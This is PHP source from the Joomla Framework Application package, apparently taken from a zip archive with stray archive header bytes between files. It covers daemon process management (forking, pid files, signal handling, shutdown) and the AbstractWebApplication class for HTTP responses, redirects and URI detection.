* Method to change the identity of the daemon process and resources.
*
* @return boolean True if identity successfully changed
*
* @since 1.0
* @see posix_setuid()
*/
protected function changeIdentity()
{
// Get the group and user ids to set for the daemon.
$uid = (int) $this->get('application_uid', 0);
$gid = (int) $this->get('application_gid', 0);
// Get the application process id file path.
$file = $this->get('application_pid_file');
// Change the user id for the process id file if necessary.
if ($uid && (fileowner($file) != $uid) && (!@
chown($file, $uid)))
{
$this->getLogger()->error('Unable to change user ownership of
the process id file.');
return false;
}
// Change the group id for the process id file if necessary.
if ($gid && (filegroup($file) != $gid) && (!@
chgrp($file, $gid)))
{
$this->getLogger()->error('Unable to change group ownership
of the process id file.');
return false;
}
// Set the correct home directory for the process.
if ($uid && ($info = posix_getpwuid($uid)) &&
is_dir($info['dir']))
{
system('export HOME="' . $info['dir'] .
'"');
}
// Change the user id for the process necessary.
if ($uid && (posix_getuid($file) != $uid) && (!@
posix_setuid($uid)))
{
$this->getLogger()->error('Unable to change user ownership of
the proccess.');
return false;
}
// Change the group id for the process necessary.
if ($gid && (posix_getgid($file) != $gid) && (!@
posix_setgid($gid)))
{
$this->getLogger()->error('Unable to change group ownership
of the proccess.');
return false;
}
// Get the user and group information based on uid and gid.
$user = posix_getpwuid($uid);
$group = posix_getgrgid($gid);
$this->getLogger()->info('Changed daemon identity to ' .
$user['name'] . ':' . $group['name']);
return true;
}
/**
* Method to put the application into the background.
*
* @return boolean
*
* @since 1.0
* @throws \RuntimeException
*/
protected function daemonize()
{
// Is there already an active daemon running?
if ($this->isActive())
{
$this->getLogger()->emergency($this->name . ' daemon is
still running. Exiting the application.');
return false;
}
// Reset Process Information
$this->safeMode = !!@ ini_get('safe_mode');
$this->processId = 0;
$this->running = false;
// Detach process!
try
{
// Check if we should run in the foreground.
if (!$this->input->get('f'))
{
// Detach from the terminal.
$this->detach();
}
else
{
// Setup running values.
$this->exiting = false;
$this->running = true;
// Set the process id.
$this->processId = (int) posix_getpid();
$this->parentId = $this->processId;
}
}
catch (\RuntimeException $e)
{
$this->getLogger()->emergency('Unable to fork.');
return false;
}
// Verify the process id is valid.
if ($this->processId < 1)
{
$this->getLogger()->emergency('The process id is invalid; the
fork failed.');
return false;
}
// Clear the umask.
@ umask(0);
// Write out the process id file for concurrency management.
if (!$this->writeProcessIdFile())
{
$this->getLogger()->emergency('Unable to write the pid file
at: ' . $this->get('application_pid_file'));
return false;
}
// Attempt to change the identity of user running the process.
if (!$this->changeIdentity())
{
// If the identity change was required then we need to return false.
if ($this->get('application_require_identity'))
{
$this->getLogger()->critical('Unable to change process
owner.');
return false;
}
$this->getLogger()->warning('Unable to change process
owner.');
}
// Setup the signal handlers for the daemon.
if (!$this->setupSignalHandlers())
{
return false;
}
// Change the current working directory to the application working
directory.
@ chdir($this->get('application_directory'));
return true;
}
/**
* This is truly where the magic happens. This is where we fork the
process and kill the parent
* process, which is essentially what turns the application into a daemon.
*
* @return void
*
* @since 1.0
* @throws \RuntimeException
*/
protected function detach()
{
$this->getLogger()->debug('Detaching the ' .
$this->name . ' daemon.');
// Attempt to fork the process.
$pid = $this->fork();
// If the pid is positive then we successfully forked, and can close this
application.
if ($pid)
{
// Add the log entry for debugging purposes and exit gracefully.
$this->getLogger()->debug('Ending ' . $this->name .
' parent process');
$this->close();
}
else
{
// We are in the forked child process.
// Setup some protected values.
$this->exiting = false;
$this->running = true;
// Set the parent to self.
$this->parentId = $this->processId;
}
}
/**
* Method to fork the process.
*
* @return integer The child process id to the parent process, zero to
the child process.
*
* @since 1.0
* @throws \RuntimeException
*/
protected function fork()
{
// Attempt to fork the process.
$pid = $this->pcntlFork();
// If the fork failed, throw an exception.
if ($pid === -1)
{
throw new \RuntimeException('The process could not be
forked.');
}
if ($pid === 0)
{
// Update the process id for the child.
$this->processId = (int) posix_getpid();
}
else
{
// Log the fork in the parent.
$this->getLogger()->debug('Process forked ' . $pid);
}
// Trigger the onFork event.
$this->postFork();
return $pid;
}
/**
* Method to perform basic garbage collection and memory management in the
sense of clearing the
* stat cache. We will probably call this method pretty regularly in our
main loop.
*
* @return void
*
* @codeCoverageIgnore
* @since 1.0
*/
protected function gc()
{
// Perform generic garbage collection.
gc_collect_cycles();
// Clear the stat cache so it doesn't blow up memory.
clearstatcache();
}
/**
* Method to attach the AbstractDaemonApplication signal handler to the
known signals. Applications
* can override these handlers by using the pcntl_signal() function and
attaching a different
* callback method.
*
* @return boolean
*
* @since 1.0
* @see pcntl_signal()
*/
protected function setupSignalHandlers()
{
// We add the error suppression for the loop because on some platforms
some constants are not defined.
foreach (self::$signals as $signal)
{
// Ignore signals that are not defined.
if (!\defined($signal) || !\is_int(\constant($signal)) ||
(\constant($signal) === 0))
{
// Define the signal to avoid notices.
$this->getLogger()->debug('Signal "' . $signal .
'" not defined. Defining it as null.');
\define($signal, null);
// Don't listen for signal.
continue;
}
// Attach the signal handler for the signal.
if (!$this->pcntlSignal(\constant($signal), array($this,
'signal')))
{
$this->getLogger()->emergency(sprintf('Unable to reroute
signal handler: %s', $signal));
return false;
}
}
return true;
}
/**
* Method to shut down the daemon and optionally restart it.
*
* @param boolean $restart True to restart the daemon on exit.
*
* @return void
*
* @since 1.0
*/
protected function shutdown($restart = false)
{
// If we are already exiting, chill.
if ($this->exiting)
{
return;
}
// If not, now we are.
$this->exiting = true;
// If we aren't already daemonized then just kill the application.
if (!$this->running && !$this->isActive())
{
$this->getLogger()->info('Process was not daemonized yet,
just halting current process');
$this->close();
}
// Only read the pid for the parent file.
if ($this->parentId == $this->processId)
{
// Read the contents of the process id file as an integer.
$fp = fopen($this->get('application_pid_file'),
'r');
$pid = fread($fp,
filesize($this->get('application_pid_file')));
$pid = (int) $pid;
fclose($fp);
// Remove the process id file.
@ unlink($this->get('application_pid_file'));
// If we are supposed to restart the daemon we need to execute the same
command.
if ($restart)
{
$this->close(exec(implode(' ', $GLOBALS['argv'])
. ' > /dev/null &'));
}
else
{
// If we are not supposed to restart the daemon let's just kill
-9.
passthru('kill -9 ' . $pid);
$this->close();
}
}
}
/**
* Method to write the process id file out to disk.
*
* @return boolean
*
* @since 1.0
*/
protected function writeProcessIdFile()
{
// Verify the process id is valid.
if ($this->processId < 1)
{
$this->getLogger()->emergency('The process id is
invalid.');
return false;
}
// Get the application process id file path.
$file = $this->get('application_pid_file');
if (empty($file))
{
$this->getLogger()->error('The process id file path is
empty.');
return false;
}
// Make sure that the folder where we are writing the process id file
exists.
$folder = \dirname($file);
if (!is_dir($folder) && !@ mkdir($folder,
$this->get('folder_permission', 0755)))
{
$this->getLogger()->error('Unable to create directory: '
. $folder);
return false;
}
// Write the process id file out to disk.
if (!file_put_contents($file, $this->processId))
{
$this->getLogger()->error('Unable to write proccess id file:
' . $file);
return false;
}
// Make sure the permissions for the proccess id file are accurate.
if (!chmod($file, $this->get('file_permission', 0644)))
{
$this->getLogger()->error('Unable to adjust permissions for
the proccess id file: ' . $file);
return false;
}
return true;
}
/**
* Method to handle post-fork triggering of the onFork event.
*
* @return void
*
* @since 1.0
*/
protected function postFork()
{
// @event onFork
}
/**
* Method to return the exit code of a terminated child process.
*
* @param integer $status The status parameter is the status parameter
supplied to a successful call to pcntl_waitpid().
*
* @return integer The child process exit code.
*
* @codeCoverageIgnore
* @see pcntl_wexitstatus()
* @since 1.0
*/
protected function pcntlChildExitStatus($status)
{
return pcntl_wexitstatus($status);
}
/**
* Method to return the exit code of a terminated child process.
*
* @return integer On success, the PID of the child process is returned
in the parent's thread
* of execution, and a 0 is returned in the child's
thread of execution. On
* failure, a -1 will be returned in the parent's
context, no child process
* will be created, and a PHP error is raised.
*
* @codeCoverageIgnore
* @see pcntl_fork()
* @since 1.0
*/
protected function pcntlFork()
{
return pcntl_fork();
}
/**
* Method to install a signal handler.
*
* @param integer $signal The signal number.
* @param callable $handler The signal handler which may be the name
of a user created function,
* or method, or either of the two global
constants SIG_IGN or SIG_DFL.
* @param boolean $restart Specifies whether system call restarting
should be used when this
* signal arrives.
*
* @return boolean True on success.
*
* @codeCoverageIgnore
* @see pcntl_signal()
* @since 1.0
*/
protected function pcntlSignal($signal, $handler, $restart = true)
{
return pcntl_signal($signal, $handler, $restart);
}
/**
* Method to wait on or return the status of a forked child.
*
* @param integer $status Status information.
* @param integer $options If wait3 is available on your system
(mostly BSD-style systems),
* you can provide the optional options
parameter.
*
* @return integer The process ID of the child which exited, -1 on error
or zero if WNOHANG
* was provided as an option (on wait3-available
systems) and no child was available.
*
* @codeCoverageIgnore
* @see pcntl_wait()
* @since 1.0
*/
protected function pcntlWait(&$status, $options = 0)
{
return pcntl_wait($status, $options);
}
}
PK���[R��ll*application/src/AbstractWebApplication.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application;
use Joomla\Input\Input;
use Joomla\Registry\Registry;
use Joomla\Session\Session;
use Joomla\Uri\Uri;
/**
* Base class for a Joomla! Web application.
*
* @since 1.0
*/
abstract class AbstractWebApplication extends AbstractApplication
{
/**
* Character encoding string.
*
* @var string
* @since 1.0
*/
public $charSet = 'utf-8';
/**
* Response mime type.
*
* @var string
* @since 1.0
*/
public $mimeType = 'text/html';
/**
* HTTP protocol version.
*
* @var string
* @since 1.9.0
*/
public $httpVersion = '1.1';
/**
* The body modified date for response headers.
*
* @var \DateTime
* @since 1.0
*/
public $modifiedDate;
/**
* The application client object.
*
* @var Web\WebClient
* @since 1.0
*/
public $client;
/**
* The application response object.
*
* @var object
* @since 1.0
*/
protected $response;
/**
* The application session object.
*
* @var Session
* @since 1.0
*/
private $session;
/**
* A map of integer HTTP response codes to the full HTTP Status for the
headers.
*
* @var array
* @since 1.6.0
* @link
https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
*/
private $responseMap = array(
100 => 'HTTP/{version} 100 Continue',
101 => 'HTTP/{version} 101 Switching Protocols',
102 => 'HTTP/{version} 102 Processing',
200 => 'HTTP/{version} 200 OK',
201 => 'HTTP/{version} 201 Created',
202 => 'HTTP/{version} 202 Accepted',
203 => 'HTTP/{version} 203 Non-Authoritative Information',
204 => 'HTTP/{version} 204 No Content',
205 => 'HTTP/{version} 205 Reset Content',
206 => 'HTTP/{version} 206 Partial Content',
207 => 'HTTP/{version} 207 Multi-Status',
208 => 'HTTP/{version} 208 Already Reported',
226 => 'HTTP/{version} 226 IM Used',
300 => 'HTTP/{version} 300 Multiple Choices',
301 => 'HTTP/{version} 301 Moved Permanently',
302 => 'HTTP/{version} 302 Found',
303 => 'HTTP/{version} 303 See other',
304 => 'HTTP/{version} 304 Not Modified',
305 => 'HTTP/{version} 305 Use Proxy',
306 => 'HTTP/{version} 306 (Unused)',
307 => 'HTTP/{version} 307 Temporary Redirect',
308 => 'HTTP/{version} 308 Permanent Redirect',
400 => 'HTTP/{version} 400 Bad Request',
401 => 'HTTP/{version} 401 Unauthorized',
402 => 'HTTP/{version} 402 Payment Required',
403 => 'HTTP/{version} 403 Forbidden',
404 => 'HTTP/{version} 404 Not Found',
405 => 'HTTP/{version} 405 Method Not Allowed',
406 => 'HTTP/{version} 406 Not Acceptable',
407 => 'HTTP/{version} 407 Proxy Authentication Required',
408 => 'HTTP/{version} 408 Request Timeout',
409 => 'HTTP/{version} 409 Conflict',
410 => 'HTTP/{version} 410 Gone',
411 => 'HTTP/{version} 411 Length Required',
412 => 'HTTP/{version} 412 Precondition Failed',
413 => 'HTTP/{version} 413 Payload Too Large',
414 => 'HTTP/{version} 414 URI Too Long',
415 => 'HTTP/{version} 415 Unsupported Media Type',
416 => 'HTTP/{version} 416 Range Not Satisfiable',
417 => 'HTTP/{version} 417 Expectation Failed',
418 => 'HTTP/{version} 418 I\'m a teapot',
421 => 'HTTP/{version} 421 Misdirected Request',
422 => 'HTTP/{version} 422 Unprocessable Entity',
423 => 'HTTP/{version} 423 Locked',
424 => 'HTTP/{version} 424 Failed Dependency',
426 => 'HTTP/{version} 426 Upgrade Required',
428 => 'HTTP/{version} 428 Precondition Required',
429 => 'HTTP/{version} 429 Too Many Requests',
431 => 'HTTP/{version} 431 Request Header Fields Too Large',
451 => 'HTTP/{version} 451 Unavailable For Legal Reasons',
500 => 'HTTP/{version} 500 Internal Server Error',
501 => 'HTTP/{version} 501 Not Implemented',
502 => 'HTTP/{version} 502 Bad Gateway',
503 => 'HTTP/{version} 503 Service Unavailable',
504 => 'HTTP/{version} 504 Gateway Timeout',
505 => 'HTTP/{version} 505 HTTP Version Not Supported',
506 => 'HTTP/{version} 506 Variant Also Negotiates',
507 => 'HTTP/{version} 507 Insufficient Storage',
508 => 'HTTP/{version} 508 Loop Detected',
510 => 'HTTP/{version} 510 Not Extended',
511 => 'HTTP/{version} 511 Network Authentication Required',
);
/**
* Class constructor.
*
* @param Input $input An optional argument to provide
dependency injection for the application's input object. If the
argument
* is an Input object that object will
become the application's input object, otherwise a default input
* object is created.
* @param Registry $config An optional argument to provide
dependency injection for the application's config object. If the
argument
* is a Registry object that object will
become the application's config object, otherwise a default config
* object is created.
* @param Web\WebClient $client An optional argument to provide
dependency injection for the application's client object. If the
argument
* is a Web\WebClient object that object
will become the application's client object, otherwise a default
client
* object is created.
*
* @since 1.0
*/
public function __construct(Input $input = null, Registry $config = null,
Web\WebClient $client = null)
{
$this->client = $client instanceof Web\WebClient ? $client : new
Web\WebClient;
// Setup the response object.
$this->response = new \stdClass;
$this->response->cachable = false;
$this->response->headers = array();
$this->response->body = array();
// Call the constructor as late as possible (it runs `initialise`).
parent::__construct($input, $config);
// Set the system URIs.
$this->loadSystemUris();
}
/**
* Execute the application.
*
* @return void
*
* @since 1.0
*/
public function execute()
{
// @event onBeforeExecute
// Perform application routines.
$this->doExecute();
// @event onAfterExecute
// If gzip compression is enabled in configuration and the server is
compliant, compress the output.
if ($this->get('gzip') &&
!ini_get('zlib.output_compression') &&
(ini_get('output_handler') != 'ob_gzhandler'))
{
$this->compress();
}
// @event onBeforeRespond
// Send the application response.
$this->respond();
// @event onAfterRespond
}
/**
* Checks the accept encoding of the browser and compresses the data
before
* sending it to the client if possible.
*
* @return void
*
* @since 1.0
*/
protected function compress()
{
// Supported compression encodings.
$supported = array(
'x-gzip' => 'gz',
'gzip' => 'gz',
'deflate' => 'deflate',
);
// Get the supported encoding.
$encodings = array_intersect($this->client->encodings,
array_keys($supported));
// If no supported encoding is detected do nothing and return.
if (empty($encodings))
{
return;
}
// Verify that headers have not yet been sent, and that our connection is
still alive.
if ($this->checkHeadersSent() || !$this->checkConnectionAlive())
{
return;
}
// Iterate through the encodings and attempt to compress the data using
any found supported encodings.
foreach ($encodings as $encoding)
{
if (($supported[$encoding] == 'gz') || ($supported[$encoding]
== 'deflate'))
{
// Verify that the server supports gzip compression before we attempt
to gzip encode the data.
// @codeCoverageIgnoreStart
if (!\extension_loaded('zlib') ||
ini_get('zlib.output_compression'))
{
continue;
}
// @codeCoverageIgnoreEnd
// Attempt to gzip encode the data with an optimal level 4.
$data = $this->getBody();
$gzdata = gzencode($data, 4, ($supported[$encoding] == 'gz')
? FORCE_GZIP : FORCE_DEFLATE);
// If there was a problem encoding the data just try the next encoding
scheme.
// @codeCoverageIgnoreStart
if ($gzdata === false)
{
continue;
}
// @codeCoverageIgnoreEnd
// Set the encoding headers.
$this->setHeader('Content-Encoding', $encoding);
$this->setHeader('Vary', 'Accept-Encoding');
$this->setHeader('X-Content-Encoded-By',
'Joomla');
// Replace the output with the encoded data.
$this->setBody($gzdata);
// Compression complete, let's break out of the loop.
break;
}
}
}
/**
* Method to send the application response to the client. All headers
will be sent prior to the main
* application output data.
*
* @return void
*
* @since 1.0
*/
protected function respond()
{
// Send the content-type header.
$this->setHeader('Content-Type', $this->mimeType .
'; charset=' . $this->charSet);
// If the response is set to uncachable, we need to set some appropriate
headers so browsers don't cache the response.
if (!$this->allowCache())
{
// Expires in the past.
$this->setHeader('Expires', 'Wed, 17 Aug 2005 00:00:00
GMT', true);
// Always modified.
$this->setHeader('Last-Modified', gmdate('D, d M Y
H:i:s') . ' GMT', true);
$this->setHeader('Cache-Control', 'no-store, no-cache,
must-revalidate, post-check=0, pre-check=0', false);
// HTTP 1.0
$this->setHeader('Pragma', 'no-cache');
}
else
{
// Expires.
$this->setHeader('Expires', gmdate('D, d M Y
H:i:s', time() + 900) . ' GMT');
// Last modified.
if ($this->modifiedDate instanceof \DateTime)
{
$this->modifiedDate->setTimezone(new
\DateTimeZone('UTC'));
$this->setHeader('Last-Modified',
$this->modifiedDate->format('D, d M Y H:i:s') . '
GMT');
}
}
$this->sendHeaders();
echo $this->getBody();
}
/**
* Redirect to another URL.
*
* If the headers have not been sent the redirect will be accomplished
using a "301 Moved Permanently"
* or "303 See Other" code in the header pointing to the new
location. If the headers have already been
* sent this will be accomplished using a JavaScript statement.
*
* @param string $url The URL to redirect to. Can only be
http/https URL
* @param integer $status The HTTP status code to be provided. 303 is
assumed by default.
*
* @return void
*
* @since 1.0
* @throws \InvalidArgumentException
*/
public function redirect($url, $status = 303)
{
// Check for relative internal links.
if (preg_match('#^index\.php#', $url))
{
$url = $this->get('uri.base.full') . $url;
}
// Perform a basic sanity check to make sure we don't have any CRLF
garbage.
$url = preg_split("/[\r\n]/", $url);
$url = $url[0];
/*
* Here we need to check and see if the URL is relative or absolute.
Essentially, do we need to
* prepend the URL with our base URL for a proper redirect. The
rudimentary way we are looking
* at this is to simply check whether or not the URL string has a valid
scheme or not.
*/
if (!preg_match('#^[a-z]+\://#i', $url))
{
// Get a Uri instance for the requested URI.
$uri = new Uri($this->get('uri.request'));
// Get a base URL to prepend from the requested URI.
$prefix = $uri->toString(array('scheme', 'user',
'pass', 'host', 'port'));
// We just need the prefix since we have a path relative to the root.
if ($url[0] == '/')
{
$url = $prefix . $url;
}
else
{
// It's relative to where we are now, so lets add that.
$parts = explode('/',
$uri->toString(array('path')));
array_pop($parts);
$path = implode('/', $parts) . '/';
$url = $prefix . $path . $url;
}
}
// If the headers have already been sent we need to send the redirect
statement via JavaScript.
if ($this->checkHeadersSent())
{
echo '<script>document.location.href=' .
json_encode($url) . ";</script>\n";
}
else
{
// We have to use a JavaScript redirect here because MSIE doesn't
play nice with utf-8 URLs.
if (($this->client->engine == Web\WebClient::TRIDENT) &&
!static::isAscii($url))
{
$html = '<html><head>';
$html .= '<meta http-equiv="content-type"
content="text/html; charset=' . $this->charSet . '"
/>';
$html .= '<script>document.location.href=' .
json_encode($url) . ';</script>';
$html .=
'</head><body></body></html>';
echo $html;
}
else
{
// Check if we have a boolean for the status variable for compatability
with v1 of the framework
// @deprecated 3.0
if (\is_bool($status))
{
$status = $status ? 301 : 303;
}
if (!\is_int($status) && !$this->isRedirectState($status))
{
throw new \InvalidArgumentException('You have not supplied a
valid HTTP status code');
}
// All other cases use the more efficient HTTP header for redirection.
$this->setHeader('Status', $status, true);
$this->setHeader('Location', $url, true);
}
}
// Set appropriate headers
$this->respond();
// Close the application after the redirect.
$this->close();
}
/**
* Set/get cachable state for the response. If $allow is set, sets the
cachable state of the
* response. Always returns the current state.
*
* @param boolean $allow True to allow browser caching.
*
* @return boolean
*
* @since 1.0
*/
public function allowCache($allow = null)
{
if ($allow !== null)
{
$this->response->cachable = (bool) $allow;
}
return $this->response->cachable;
}
/**
* Method to set a response header. If the replace flag is set then all
headers
* with the given name will be replaced by the new one. The headers are
stored
* in an internal array to be sent when the site is sent to the browser.
*
* @param string $name The name of the header to set.
* @param string $value The value of the header to set.
* @param boolean $replace True to replace any headers with the same
name.
*
* @return AbstractWebApplication Instance of $this to allow chaining.
*
* @since 1.0
*/
public function setHeader($name, $value, $replace = false)
{
// Sanitize the input values.
$name = (string) $name;
$value = (string) $value;
// If the replace flag is set, unset all known headers with the given
name.
if ($replace)
{
foreach ($this->response->headers as $key => $header)
{
if ($name == $header['name'])
{
unset($this->response->headers[$key]);
}
}
// Clean up the array as unsetting nested arrays leaves some junk.
$this->response->headers =
array_values($this->response->headers);
}
// Add the header to the internal array.
$this->response->headers[] = array('name' => $name,
'value' => $value);
return $this;
}
/**
* Method to get the array of response headers to be sent when the
response is sent
* to the client.
*
* @return array
*
* @since 1.0
*/
public function getHeaders()
{
return $this->response->headers;
}
/**
* Method to clear any set response headers.
*
* @return AbstractWebApplication Instance of $this to allow chaining.
*
* @since 1.0
*/
public function clearHeaders()
{
$this->response->headers = array();
return $this;
}
/**
* Send the response headers.
*
* @return AbstractWebApplication Instance of $this to allow chaining.
*
* @since 1.0
*/
public function sendHeaders()
{
if (!$this->checkHeadersSent())
{
foreach ($this->response->headers as $header)
{
if (strtolower($header['name']) == 'status')
{
// 'status' headers indicate an HTTP status, and need to be
handled slightly differently
$status = $this->getHttpStatusValue($header['value']);
$this->header($status, true, (int) $header['value']);
}
else
{
$this->header($header['name'] . ': ' .
$header['value']);
}
}
}
return $this;
}
/**
* Set body content. If body content already defined, this will replace
it.
*
* @param string $content The content to set as the response body.
*
* @return AbstractWebApplication Instance of $this to allow chaining.
*
* @since 1.0
*/
public function setBody($content)
{
$this->response->body = array((string) $content);
return $this;
}
/**
* Prepend content to the body content
*
* @param string $content The content to prepend to the response body.
*
* @return AbstractWebApplication Instance of $this to allow chaining.
*
* @since 1.0
*/
public function prependBody($content)
{
array_unshift($this->response->body, (string) $content);
return $this;
}
/**
* Append content to the body content
*
* @param string $content The content to append to the response body.
*
* @return AbstractWebApplication Instance of $this to allow chaining.
*
* @since 1.0
*/
public function appendBody($content)
{
$this->response->body[] = (string) $content;
return $this;
}
/**
* Return the body content
*
* @param boolean $asArray True to return the body as an array of
strings.
*
* @return mixed The response body either as an array or concatenated
string.
*
* @since 1.0
*/
public function getBody($asArray = false)
{
return $asArray ? $this->response->body : implode((array)
$this->response->body);
}
/**
* Method to get the application session object.
*
* @return Session The session object
*
* @since 1.0
*/
public function getSession()
{
if ($this->session === null)
{
throw new \RuntimeException('A \Joomla\Session\Session object has
not been set.');
}
return $this->session;
}
/**
* Check if a given value can be successfully mapped to a valid http
status value
*
* @param string|int $value The given status as int or string
*
* @return string
*
* @since 1.8.0
*/
protected function getHttpStatusValue($value)
{
$code = (int) $value;
if (array_key_exists($code, $this->responseMap))
{
$value = $this->responseMap[$code];
}
else
{
$value = 'HTTP/{version} ' . $code;
}
return str_replace('{version}', $this->httpVersion, $value);
}
/**
* Check if the value is a valid HTTP status code
*
* @param integer $code The potential status code
*
* @return boolean
*
* @since 1.8.1
*/
public function isValidHttpStatus($code)
{
return array_key_exists($code, $this->responseMap);
}
/**
* Method to check the current client connection status to ensure that it
is alive. We are
* wrapping this to isolate the connection_status() function from our code
base for testing reasons.
*
* @return boolean True if the connection is valid and normal.
*
* @codeCoverageIgnore
* @see connection_status()
* @since 1.0
*/
protected function checkConnectionAlive()
{
return connection_status() === CONNECTION_NORMAL;
}
/**
* Method to check to see if headers have already been sent. We are
wrapping this to isolate the
* headers_sent() function from our code base for testing reasons.
*
* @return boolean True if the headers have already been sent.
*
* @codeCoverageIgnore
* @see headers_sent()
* @since 1.0
*/
protected function checkHeadersSent()
{
return headers_sent();
}
/**
* Method to detect the requested URI from server environment variables.
*
* @return string The requested URI
*
* @since 1.0
*/
protected function detectRequestUri()
{
// First we need to detect the URI scheme.
if ($this->isSslConnection())
{
$scheme = 'https://';
}
else
{
$scheme = 'http://';
}
/*
* There are some differences in the way that Apache and IIS populate
server environment variables. To
* properly detect the requested URI we need to adjust our algorithm
based on whether or not we are getting
* information from Apache or IIS.
*/
$phpSelf =
$this->input->server->getString('PHP_SELF',
'');
$requestUri =
$this->input->server->getString('REQUEST_URI',
'');
// If PHP_SELF and REQUEST_URI are both populated then we will assume
"Apache Mode".
if (!empty($phpSelf) && !empty($requestUri))
{
// The URI is built from the HTTP_HOST and REQUEST_URI environment
variables in an Apache environment.
$uri = $scheme .
$this->input->server->getString('HTTP_HOST') .
$requestUri;
}
else
{
// If not in "Apache Mode" we will assume that we are in an
IIS environment and proceed.
// IIS uses the SCRIPT_NAME variable instead of a REQUEST_URI
variable... thanks, MS
$uri = $scheme .
$this->input->server->getString('HTTP_HOST') .
$this->input->server->getString('SCRIPT_NAME');
$queryHost =
$this->input->server->getString('QUERY_STRING',
'');
// If the QUERY_STRING variable exists append it to the URI string.
if (!empty($queryHost))
{
$uri .= '?' . $queryHost;
}
}
return trim($uri);
}
/**
* Method to send a header to the client. We are wrapping this to isolate
the header() function
* from our code base for testing reasons.
*
* @param string $string The header string.
* @param boolean $replace The optional replace parameter indicates
whether the header should
* replace a previous similar header, or add a
second header of the same type.
* @param integer $code Forces the HTTP response code to the
specified value. Note that
* this parameter only has an effect if the
string is not empty.
*
* @return void
*
* @codeCoverageIgnore
* @see header()
* @since 1.0
*/
protected function header($string, $replace = true, $code = null)
{
header(str_replace(\chr(0), '', $string), $replace, $code);
}
/**
* Checks if a state is a redirect state
*
* @param integer $state The HTTP status code.
*
* @return boolean
*
* @since 1.8.0
*/
protected function isRedirectState($state)
{
$state = (int) $state;
return $state > 299 && $state < 400 &&
array_key_exists($state, $this->responseMap);
}
/**
* Determine if we are using a secure (SSL) connection.
*
* @return boolean True if using SSL, false if not.
*
* @since 1.0
*/
public function isSslConnection()
{
$serverSSLVar =
$this->input->server->getString('HTTPS', '');
if (!empty($serverSSLVar) && strtolower($serverSSLVar) !==
'off')
{
return true;
}
$serverForwarderProtoVar =
$this->input->server->getString('HTTP_X_FORWARDED_PROTO',
'');
return !empty($serverForwarderProtoVar) &&
strtolower($serverForwarderProtoVar) === 'https';
}
/**
* Sets the session for the application to use, if required.
*
* @param Session $session A session object.
*
* @return AbstractWebApplication Returns itself to support chaining.
*
* @since 1.0
*/
public function setSession(Session $session)
{
$this->session = $session;
return $this;
}
/**
* Method to load the system URI strings for the application.
*
* @param string $requestUri An optional request URI to use instead of
detecting one from the
* server environment variables.
*
* @return void
*
* @since 1.0
*/
protected function loadSystemUris($requestUri = null)
{
// Set the request URI.
// @codeCoverageIgnoreStart
if (!empty($requestUri))
{
$this->set('uri.request', $requestUri);
}
else
{
$this->set('uri.request', $this->detectRequestUri());
}
// @codeCoverageIgnoreEnd
// Check to see if an explicit base URI has been set.
$siteUri = trim($this->get('site_uri'));
if ($siteUri != '')
{
$uri = new Uri($siteUri);
$path = $uri->toString(array('path'));
}
else
{
// No explicit base URI was set so we need to detect it. Start with the
requested URI.
$uri = new Uri($this->get('uri.request'));
$requestUri =
$this->input->server->getString('REQUEST_URI',
'');
// If we are working from a CGI SAPI with the
'cgi.fix_pathinfo' directive disabled we use PHP_SELF.
if (strpos(PHP_SAPI, 'cgi') !== false &&
!ini_get('cgi.fix_pathinfo') && !empty($requestUri))
{
// We aren't expecting PATH_INFO within PHP_SELF so this should
work.
$path =
\dirname($this->input->server->getString('PHP_SELF',
''));
}
else
{
// Pretty much everything else should be handled with SCRIPT_NAME.
$path =
\dirname($this->input->server->getString('SCRIPT_NAME',
''));
}
}
// Get the host from the URI.
$host = $uri->toString(array('scheme', 'user',
'pass', 'host', 'port'));
// Check if the path includes "index.php".
if (strpos($path, 'index.php') !== false)
{
// Remove the index.php portion of the path.
$path = substr_replace($path, '', strpos($path,
'index.php'), 9);
}
$path = rtrim($path, '/\\');
// Set the base URI both as just a path and as the full URI.
$this->set('uri.base.full', $host . $path . '/');
$this->set('uri.base.host', $host);
$this->set('uri.base.path', $path . '/');
// Set the extended (non-base) part of the request URI as the route.
if (stripos($this->get('uri.request'),
$this->get('uri.base.full')) === 0)
{
$this->set('uri.route',
substr_replace($this->get('uri.request'), '', 0,
\strlen($this->get('uri.base.full'))));
}
// Get an explicitly set media URI is present.
$mediaURI = trim($this->get('media_uri'));
if ($mediaURI)
{
if (strpos($mediaURI, '://') !== false)
{
$this->set('uri.media.full', $mediaURI);
$this->set('uri.media.path', $mediaURI);
}
else
{
// Normalise slashes.
$mediaURI = trim($mediaURI, '/\\');
$mediaURI = !empty($mediaURI) ? '/' . $mediaURI .
'/' : '/';
$this->set('uri.media.full',
$this->get('uri.base.host') . $mediaURI);
$this->set('uri.media.path', $mediaURI);
}
}
else
{
// No explicit media URI was set, build it dynamically from the base
uri.
$this->set('uri.media.full',
$this->get('uri.base.full') . 'media/');
$this->set('uri.media.path',
$this->get('uri.base.path') . 'media/');
}
}
/**
* Checks for a form token in the request.
*
* Use in conjunction with getFormToken.
*
* @param string $method The request method in which to look for the
token key.
*
* @return boolean True if found and valid, false otherwise.
*
* @since 1.0
*/
public function checkToken($method = 'post')
{
$token = $this->getFormToken();
if (!$this->input->$method->get($token, '',
'alnum'))
{
if ($this->getSession()->isNew())
{
// Redirect to login screen.
$this->redirect('index.php');
$this->close();
}
else
{
return false;
}
}
else
{
return true;
}
}
/**
* Method to determine a hash for anti-spoofing variable names
*
* @param boolean $forceNew If true, force a new token to be created
*
* @return string Hashed var name
*
* @since 1.0
*/
public function getFormToken($forceNew = false)
{
// @todo we need the user id somehow here
$userId = 0;
return md5($this->get('secret') . $userId .
$this->getSession()->getToken($forceNew));
}
/**
* Tests whether a string contains only 7bit ASCII bytes.
*
* You might use this to conditionally check whether a string
* needs handling as UTF-8 or not, potentially offering performance
* benefits by using the native PHP equivalent if it's just ASCII
e.g.;
*
* @param string $str The string to test.
*
* @return boolean True if the string is all ASCII
*
* @since 1.4.0
*/
public static function isAscii($str)
{
// Search for any bytes which are outside the ASCII range...
return preg_match('/(?:[^\x00-\x7F])/', $str) !== 1;
}
}
PK���[�tt
application/src/Cli/CliInput.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application\Cli;
/**
